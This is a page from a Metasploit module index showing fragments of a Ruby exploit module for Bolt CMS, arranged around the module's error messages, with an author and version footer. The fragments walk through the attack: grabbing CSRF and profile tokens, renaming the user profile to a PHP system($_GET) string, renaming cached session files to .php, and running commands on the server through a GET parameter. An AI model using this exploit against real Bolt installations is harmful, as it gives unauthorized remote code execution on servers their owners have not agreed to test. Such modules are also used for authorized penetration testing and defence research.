Here is a relevant code snippet related to the "Authentication failure." error message:

159:	    end
160:	
161:	    @profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)
162:	
163:	    if !@profile_token || @profile_token.to_s.empty?
164:	      return CheckCode::Unknown('Authentication failure.')
165:	    end
166:	
167:	    # change user profile to a php $_GET variable
168:	    @php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
169:	    res = send_request_cgi({

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

178:	        'user_profile[save]' => '',
179:	        'user_profile[_token]' => @profile_token
180:	      }
181:	    })
182:	
183:	    return CheckCode::Unknown('Connection failed') unless res
184:	
185:	    # visit profile page again to verify the changes
186:	    res = send_request_cgi({
187:	      'method' => 'GET',
188:	      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

187:	      'method' => 'GET',
188:	      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
189:	      'cookie' => @cookie
190:	    })
191:	
192:	    return CheckCode::Unknown('Connection failed') unless res
193:	
194:	    unless res.code == 200 && res.body.include?("php system($_GET[&#039;#{@php_var_name}&#039")
195:	      return CheckCode::Unknown('Authentication failure.')
196:	    end
197:	

Authentication failure.


Here is a relevant code snippet related to the "Authentication failure." error message:

190:	    })
191:	
192:	    return CheckCode::Unknown('Connection failed') unless res
193:	
194:	    unless res.code == 200 && res.body.include?("php system($_GET[&#039;#{@php_var_name}&#039")
195:	      return CheckCode::Unknown('Authentication failure.')
196:	    end
197:	
198:	    CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
199:	  end
200:	

Successfully changed the /bolt/profile username to PHP $_GET variable "<PHP_VAR_NAME>".


Here is a relevant code snippet related to the "Successfully changed the /bolt/profile username to PHP $_GET variable "<PHP_VAR_NAME>"." error message:

193:	
194:	    unless res.code == 200 && res.body.include?("php system($_GET[&#039;#{@php_var_name}&#039")
195:	      return CheckCode::Unknown('Authentication failure.')
196:	    end
197:	
198:	    CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
199:	  end
200:	
201:	  def exploit
202:	    csrf
203:	    unless @csrf_token && !@csrf_token.empty?

Failed to obtain CSRF token


Here is a relevant code snippet related to the "Failed to obtain CSRF token" error message:

199:	  end
200:	
201:	  def exploit
202:	    csrf
203:	    unless @csrf_token && !@csrf_token.empty?
204:	      fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
205:	    end
206:	    vprint_status("Found CSRF token: #{@csrf_token}")
207:	
208:	    file_tokens = obtain_cache_tokens
209:	    unless file_tokens && !file_tokens.empty?

Failed to obtain tokens for creating .php files.


Here is a relevant code snippet related to the "Failed to obtain tokens for creating .php files." error message:

205:	    end
206:	    vprint_status("Found CSRF token: #{@csrf_token}")
207:	
208:	    file_tokens = obtain_cache_tokens
209:	    unless file_tokens && !file_tokens.empty?
210:	      fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
211:	    end
212:	    print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")
213:	
214:	    token_results = try_tokens(file_tokens)
215:	    unless token_results && !token_results.empty?

Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.


Here is a relevant code snippet related to the "Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module." error message:

211:	    end
212:	    print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")
213:	
214:	    token_results = try_tokens(file_tokens)
215:	    unless token_results && !token_results.empty?
216:	      fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
217:	    end
218:	
219:	    valid_token = token_results[0]
220:	    @rogue_file = token_results[1]
221:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

233:	      'method' => 'GET',
234:	      'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
235:	      'cookie' => @cookie
236:	    })
237:	
238:	    fail_with Failure::Unreachable, 'Connection failed' unless res
239:	
240:	    unless res.code == 200 && res.body.include?('Showcases')
241:	      fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
242:	    end
243:	

Failed to obtain CSRF token


Here is a relevant code snippet related to the "Failed to obtain CSRF token" error message:

236:	    })
237:	
238:	    fail_with Failure::Unreachable, 'Connection failed' unless res
239:	
240:	    unless res.code == 200 && res.body.include?('Showcases')
241:	      fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
242:	    end
243:	
244:	    html = res.get_html_document
245:	    @csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
246:	  end

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

251:	      'method' => 'GET',
252:	      'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
253:	      'cookie' => @cookie
254:	    })
255:	
256:	    fail_with Failure::Unreachable, 'Connection failed' unless res
257:	
258:	    unless res.code == 200 && res.body.include?('entry disabled')
259:	      fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
260:	    end
261:	

Failed to obtain file impersonation tokens


Here is a relevant code snippet related to the "Failed to obtain file impersonation tokens" error message:

254:	    })
255:	
256:	    fail_with Failure::Unreachable, 'Connection failed' unless res
257:	
258:	    unless res.code == 200 && res.body.include?('entry disabled')
259:	      fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
260:	    end
261:	
262:	    html = res.get_html_document
263:	    entries = html.search('tr')
264:	    tokens = []

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

290:	          'newname' => "#{file_path}/#{file_name}",
291:	          'token' => @csrf_token
292:	        }
293:	      })
294:	
295:	      fail_with Failure::Unreachable, 'Connection failed' unless res
296:	
297:	      next unless res.code == 200 && res.body.include?(file_name)
298:	
299:	      # check if .php file contains an empty `displayname` value. If so, cmd execution should work.
300:	      res = send_request_cgi({

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

301:	        'method' => 'GET',
302:	        'uri' => normalize_uri(target_uri.path, 'files', file_name),
303:	        'cookie' => @cookie
304:	      })
305:	
306:	      fail_with Failure::Unreachable, 'Connection failed' unless res
307:	
308:	      # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
309:	      unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
310:	        delete_file(file_name)
311:	        next

No response, may have executed a blocking payload!


Here is a relevant code snippet related to the "No response, may have executed a blocking payload!" error message:

329:	      'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
330:	    }, 3.5)
331:	
332:	    # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
333:	    unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
334:	      print_warning('No response, may have executed a blocking payload!')
335:	      return
336:	    end
337:	
338:	    print_good('Payload executed!')
339:	  end

Failed to revert user profile back to original state.


Here is a relevant code snippet related to the "Failed to revert user profile back to original state." error message:

360:	        'user_profile[_token]' => @profile_token
361:	      }
362:	    })
363:	
364:	    unless res
365:	      print_warning('Failed to revert user profile back to original state.')
366:	      return
367:	    end
368:	
369:	    # visit profile page again to verify the changes
370:	    res = send_request_cgi({

Failed to revert user profile back to original state.


Here is a relevant code snippet related to the "Failed to revert user profile back to original state." error message:

372:	      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
373:	      'cookie' => @cookie
374:	    })
375:	
376:	    unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
377:	      print_warning('Failed to revert user profile back to original state.')
378:	    end
379:	
380:	    print_good('Reverted user profile back to original state.')
381:	  end
382:	

Failed to delete file <FILE_NAME>. Manual cleanup required.


Here is a relevant code snippet related to the "Failed to delete file <FILE_NAME>. Manual cleanup required." error message:

391:	        'token' => @csrf_token
392:	      }
393:	    })
394:	
395:	    unless res && res.code == 200 && res.body.include?(file_name)
396:	      print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
397:	    end
398:	
399:	    print_good("Deleted file #{file_name}.")
400:	  end
401:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Sivanesh Ashok
  • r3m0t3nu11
  • Erik Wynter

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.